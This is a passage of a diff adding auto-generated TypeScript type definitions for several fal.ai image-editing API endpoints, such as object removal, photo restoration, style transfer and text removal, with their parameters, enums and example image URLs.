sync_mode?: boolean + /** + * @description Specify which objects to remove from the image. + * @default 'background people' + * @example background people + * @type string | undefined + */ + prompt?: string + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The aspect ratio of the generated image. + */ + aspect_ratio?: InputFalAiImageEditingObjectRemovalAspectRatioKey | null + /** + * @description Image prompt for the omni model. + * @example https://v3.fal.media/files/zebra/hAjCkcyly4gsS9-cptD3Y_image%20(20).png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageBdbe7D32 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingObjectRemoval = { + seed: number + /** + * @example [{"url":"https://fal.media/files/monkey/3nTlgwVIOSeWJ8yDmvYr-_e09a6b8eb9264f76a33408e997a7447d.jpg"}] + * @type array + */ + images: ImageBdbe7D32[] +} + +export const inputFalAiImageEditingPhotoRestorationSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiImageEditingPhotoRestorationSafetyToleranceEnumKey = + (typeof inputFalAiImageEditingPhotoRestorationSafetyToleranceEnum)[keyof typeof inputFalAiImageEditingPhotoRestorationSafetyToleranceEnum] + +export const inputFalAiImageEditingPhotoRestorationOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiImageEditingPhotoRestorationOutputFormatEnumKey = + (typeof inputFalAiImageEditingPhotoRestorationOutputFormatEnum)[keyof typeof inputFalAiImageEditingPhotoRestorationOutputFormatEnum] + +export const inputFalAiImageEditingPhotoRestorationAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiImageEditingPhotoRestorationAspectRatioKey = + (typeof inputFalAiImageEditingPhotoRestorationAspectRatio)[keyof typeof inputFalAiImageEditingPhotoRestorationAspectRatio] + +/** + * @description Input model for photo restoration endpoint. + * @type object + */ +export type InputFalAiImageEditingPhotoRestoration = { + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 6 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiImageEditingPhotoRestorationSafetyToleranceEnumKey + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiImageEditingPhotoRestorationOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The aspect ratio of the generated image. + */ + aspect_ratio?: InputFalAiImageEditingPhotoRestorationAspectRatioKey | null + /** + * @description URL of the old or damaged photo to restore. + * @example https://v3.fal.media/files/zebra/ProUb4C1PYWpyGe7BXd0n_d575ba7693584c0ddf733f77dcdb8963.jpg + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageB5C38D07 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingPhotoRestoration = { + seed: number + /** + * @example [{"url":"https://fal.media/files/lion/5xRd_PfrtfoXe03-VlPZb_d684600d4ece4b778dfea35dd536bee9.jpg"}] + * @type array + */ + images: ImageB5C38D07[] +} + +/** + * @description Input model for plushie style endpoint. + * @type object + */ +export type InputFalAiImageEditingPlushieStyle = { + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The scale factor for the LoRA model. Controls the strength of the LoRA effect. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description URL of the image to convert to plushie style. + * @example https://v3.fal.media/files/elephant/5fVB7Y5ERU7zAvA_kd2i3_trump-portrait_square.jpeg + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageB26415Dc = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingPlushieStyle = { + seed: number + /** + * @example [{"url":"https://v3.fal.media/files/penguin/mktL882Np-nFxirKNib9m.png"}] + * @type array + */ + images: ImageB26415Dc[] +} + +export const inputFalAiImageEditingProfessionalPhotoSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiImageEditingProfessionalPhotoSafetyToleranceEnumKey = + (typeof inputFalAiImageEditingProfessionalPhotoSafetyToleranceEnum)[keyof typeof inputFalAiImageEditingProfessionalPhotoSafetyToleranceEnum] + +export const inputFalAiImageEditingProfessionalPhotoOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiImageEditingProfessionalPhotoOutputFormatEnumKey = + (typeof inputFalAiImageEditingProfessionalPhotoOutputFormatEnum)[keyof typeof inputFalAiImageEditingProfessionalPhotoOutputFormatEnum] + +export const inputFalAiImageEditingProfessionalPhotoAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiImageEditingProfessionalPhotoAspectRatioKey = + (typeof inputFalAiImageEditingProfessionalPhotoAspectRatio)[keyof typeof inputFalAiImageEditingProfessionalPhotoAspectRatio] + +export type InputFalAiImageEditingProfessionalPhoto = { + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 6 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiImageEditingProfessionalPhotoSafetyToleranceEnumKey + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiImageEditingProfessionalPhotoOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The aspect ratio of the generated image. + */ + aspect_ratio?: InputFalAiImageEditingProfessionalPhotoAspectRatioKey | null + /** + * @description Image prompt for the omni model. + * @example https://v3.fal.media/files/zebra/hAjCkcyly4gsS9-cptD3Y_image%20(20).png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image02F85A06 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingProfessionalPhoto = { + seed: number + /** + * @example [{"url":"https://fal.media/files/kangaroo/ZldH8N4D1vxXWp_FHIMSK_24bc2c69b53e4f92a98cf02d798a3f00.jpg"}] + * @type array + */ + images: Image02F85A06[] +} + +/** + * @description Input model for realism enhancement endpoint. + * @type object + */ +export type InputFalAiImageEditingRealism = { + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The scale factor for the LoRA model. Controls the strength of the LoRA effect. + * @minimum 0 + * @maximum 2 + * @default 0.6 + * @type number | undefined + */ + lora_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description URL of the image to enhance with realism details. + * @example https://v3.fal.media/files/penguin/QpRcoPb4dDyDJJSpFm4CZ_img_55_start.jpg + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image9C8Fa905 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingRealism = { + seed: number + /** + * @example [{"url":"https://v3.fal.media/files/tiger/wsyfYqHhrqB8CUYZ_71W0.png"}] + * @type array + */ + images: Image9C8Fa905[] +} + +export const inputFalAiImageEditingReframeSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiImageEditingReframeSafetyToleranceEnumKey = + (typeof inputFalAiImageEditingReframeSafetyToleranceEnum)[keyof typeof inputFalAiImageEditingReframeSafetyToleranceEnum] + +export const inputFalAiImageEditingReframeOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiImageEditingReframeOutputFormatEnumKey = + (typeof inputFalAiImageEditingReframeOutputFormatEnum)[keyof typeof inputFalAiImageEditingReframeOutputFormatEnum] + +export const inputFalAiImageEditingReframeAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiImageEditingReframeAspectRatioEnumKey = + (typeof inputFalAiImageEditingReframeAspectRatioEnum)[keyof typeof inputFalAiImageEditingReframeAspectRatioEnum] + +export type InputFalAiImageEditingReframe = { + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 6 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiImageEditingReframeSafetyToleranceEnumKey + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiImageEditingReframeOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The desired aspect ratio for the reframed image. + * @default '16:9' + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: InputFalAiImageEditingReframeAspectRatioEnumKey + /** + * @description URL of the old or damaged photo to restore. + * @example https://v3.fal.media/files/elephant/7ekErKT--mhgKJ5kgtvU__image.webp + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageA419197C = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingReframe = { + seed: number + /** + * @example [{"url":"https://fal.media/files/elephant/V76OoObzc65eDtueHsXYI_a8879759964f4defaef62f44bacdaced.jpg"}] + * @type array + */ + images: ImageA419197C[] +} + +/** + * @description Input model for retouch endpoint. + * @type object + */ +export type InputFalAiImageEditingRetouch = { + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The scale factor for the LoRA model. Controls the strength of the LoRA effect. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description URL of the image to retouch. + * @example https://storage.googleapis.com/falserverless/gallery/tulsi.png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image32A1E8C2 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingRetouch = { + seed: number + /** + * @example [{"url":"https://storage.googleapis.com/falserverless/gallery/tulsi-retouched.png"}] + * @type array + */ + images: Image32A1E8C2[] +} + +export const inputFalAiImageEditingSceneCompositionSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiImageEditingSceneCompositionSafetyToleranceEnumKey = + (typeof inputFalAiImageEditingSceneCompositionSafetyToleranceEnum)[keyof typeof inputFalAiImageEditingSceneCompositionSafetyToleranceEnum] + +export const inputFalAiImageEditingSceneCompositionOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiImageEditingSceneCompositionOutputFormatEnumKey = + (typeof inputFalAiImageEditingSceneCompositionOutputFormatEnum)[keyof typeof inputFalAiImageEditingSceneCompositionOutputFormatEnum] + +export const inputFalAiImageEditingSceneCompositionAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiImageEditingSceneCompositionAspectRatioKey = + (typeof inputFalAiImageEditingSceneCompositionAspectRatio)[keyof typeof inputFalAiImageEditingSceneCompositionAspectRatio] + +export type InputFalAiImageEditingSceneComposition = { + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 6 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiImageEditingSceneCompositionSafetyToleranceEnumKey + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiImageEditingSceneCompositionOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Describe the scene where you want to place the subject. + * @default 'enchanted forest' + * @example enchanted forest + * @type string | undefined + */ + prompt?: string + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The aspect ratio of the generated image. + */ + aspect_ratio?: InputFalAiImageEditingSceneCompositionAspectRatioKey | null + /** + * @description Image prompt for the omni model. + * @example https://v3.fal.media/files/zebra/hAjCkcyly4gsS9-cptD3Y_image%20(20).png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageB9Cddddd = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingSceneComposition = { + seed: number + /** + * @example [{"url":"https://fal.media/files/panda/VmiTRcFIPBN8TtV1FBuj1_6c3a793376664fa3a3e5ce5912038ab6.jpg"}] + * @type array + */ + images: ImageB9Cddddd[] +} + +export const inputFalAiImageEditingStyleTransferSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiImageEditingStyleTransferSafetyToleranceEnumKey = + (typeof inputFalAiImageEditingStyleTransferSafetyToleranceEnum)[keyof typeof inputFalAiImageEditingStyleTransferSafetyToleranceEnum] + +export const inputFalAiImageEditingStyleTransferOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiImageEditingStyleTransferOutputFormatEnumKey = + (typeof inputFalAiImageEditingStyleTransferOutputFormatEnum)[keyof typeof inputFalAiImageEditingStyleTransferOutputFormatEnum] + +export const inputFalAiImageEditingStyleTransferAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiImageEditingStyleTransferAspectRatioKey = + (typeof inputFalAiImageEditingStyleTransferAspectRatio)[keyof typeof inputFalAiImageEditingStyleTransferAspectRatio] + +export type InputFalAiImageEditingStyleTransfer = { + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 6 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiImageEditingStyleTransferSafetyToleranceEnumKey + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiImageEditingStyleTransferOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The artistic style to apply. + * @default 'Van Gogh\'s Starry Night' + * @example Van Gogh's Starry Night + * @type string | undefined + */ + prompt?: string + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The aspect ratio of the generated image. + */ + aspect_ratio?: InputFalAiImageEditingStyleTransferAspectRatioKey | null + /** + * @description Image prompt for the omni model. + * @example https://v3.fal.media/files/zebra/hAjCkcyly4gsS9-cptD3Y_image%20(20).png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageE53D06Ab = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingStyleTransfer = { + seed: number + /** + * @example [{"url":"https://fal.media/files/kangaroo/tkhm3MPIE5FugnHcssKYZ_a983d62e76844c488877988742e170a9.jpg"}] + * @type array + */ + images: ImageE53D06Ab[] +} + +export const inputFalAiImageEditingTextRemovalSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiImageEditingTextRemovalSafetyToleranceEnumKey = + (typeof inputFalAiImageEditingTextRemovalSafetyToleranceEnum)[keyof typeof inputFalAiImageEditingTextRemovalSafetyToleranceEnum] + +export const inputFalAiImageEditingTextRemovalOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiImageEditingTextRemovalOutputFormatEnumKey = + (typeof inputFalAiImageEditingTextRemovalOutputFormatEnum)[keyof typeof inputFalAiImageEditingTextRemovalOutputFormatEnum] + +export const inputFalAiImageEditingTextRemovalAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiImageEditingTextRemovalAspectRatioKey = + (typeof inputFalAiImageEditingTextRemovalAspectRatio)[keyof typeof inputFalAiImageEditingTextRemovalAspectRatio] + +/** + * @description Input model for text removal endpoint. + * @type object + */ +export type InputFalAiImageEditingTextRemoval = { + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 6 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiImageEditingTextRemovalSafetyToleranceEnumKey + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiImageEditingTextRemovalOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The aspect ratio of the generated image. + */ + aspect_ratio?: InputFalAiImageEditingTextRemovalAspectRatioKey | null + /** + * @description URL of the image containing text to be removed. + * @example https://v3.fal.media/files/rabbit/rmgBxhwGYb2d3pl3x9sKf_output.png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image871D9Cee = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingTextRemoval = { + seed: number + /** + * @example [{"url":"https://fal.media/files/tiger/W1s8Rq_cW2bT_wUcW9Bd8_413f5074e3d94829acfc4e08ec785040.jpg"}] + * @type array + */ + images: Image871D9Cee[] +} + +export const inputFalAiImageEditingTimeOfDaySafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiImageEditingTimeOfDaySafetyToleranceEnumKey = + (typeof inputFalAiImageEditingTimeOfDaySafetyToleranceEnum)[keyof typeof inputFalAiImageEditingTimeOfDaySafetyToleranceEnum] + +export const inputFalAiImageEditingTimeOfDayOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiImageEditingTimeOfDayOutputFormatEnumKey = + (typeof inputFalAiImageEditingTimeOfDayOutputFormatEnum)[keyof typeof inputFalAiImageEditingTimeOfDayOutputFormatEnum] + +export const inputFalAiImageEditingTimeOfDayAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiImageEditingTimeOfDayAspectRatioKey = + (typeof inputFalAiImageEditingTimeOfDayAspectRatio)[keyof typeof inputFalAiImageEditingTimeOfDayAspectRatio] + +export type InputFalAiImageEditingTimeOfDay = { + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 6 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiImageEditingTimeOfDaySafetyToleranceEnumKey + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiImageEditingTimeOfDayOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The time of day to transform the scene to. + * @default 'golden hour' + * @example golden hour + * @type string | undefined + */ + prompt?: string + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The aspect ratio of the generated image. + */ + aspect_ratio?: InputFalAiImageEditingTimeOfDayAspectRatioKey | null + /** + * @description Image prompt for the omni model. + * @example https://v3.fal.media/files/zebra/hAjCkcyly4gsS9-cptD3Y_image%20(20).png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageDb45Ad18 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingTimeOfDay = { + seed: number + /** + * @example [{"url":"https://fal.media/files/panda/Udg4UCRqE4Vbp4zd-4oZ8_5f17ff8367ee492e9279e02940d0f258.jpg"}] + * @type array + */ + images: ImageDb45Ad18[] +} + +export const inputFalAiImageEditingWeatherEffectSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiImageEditingWeatherEffectSafetyToleranceEnumKey = + (typeof 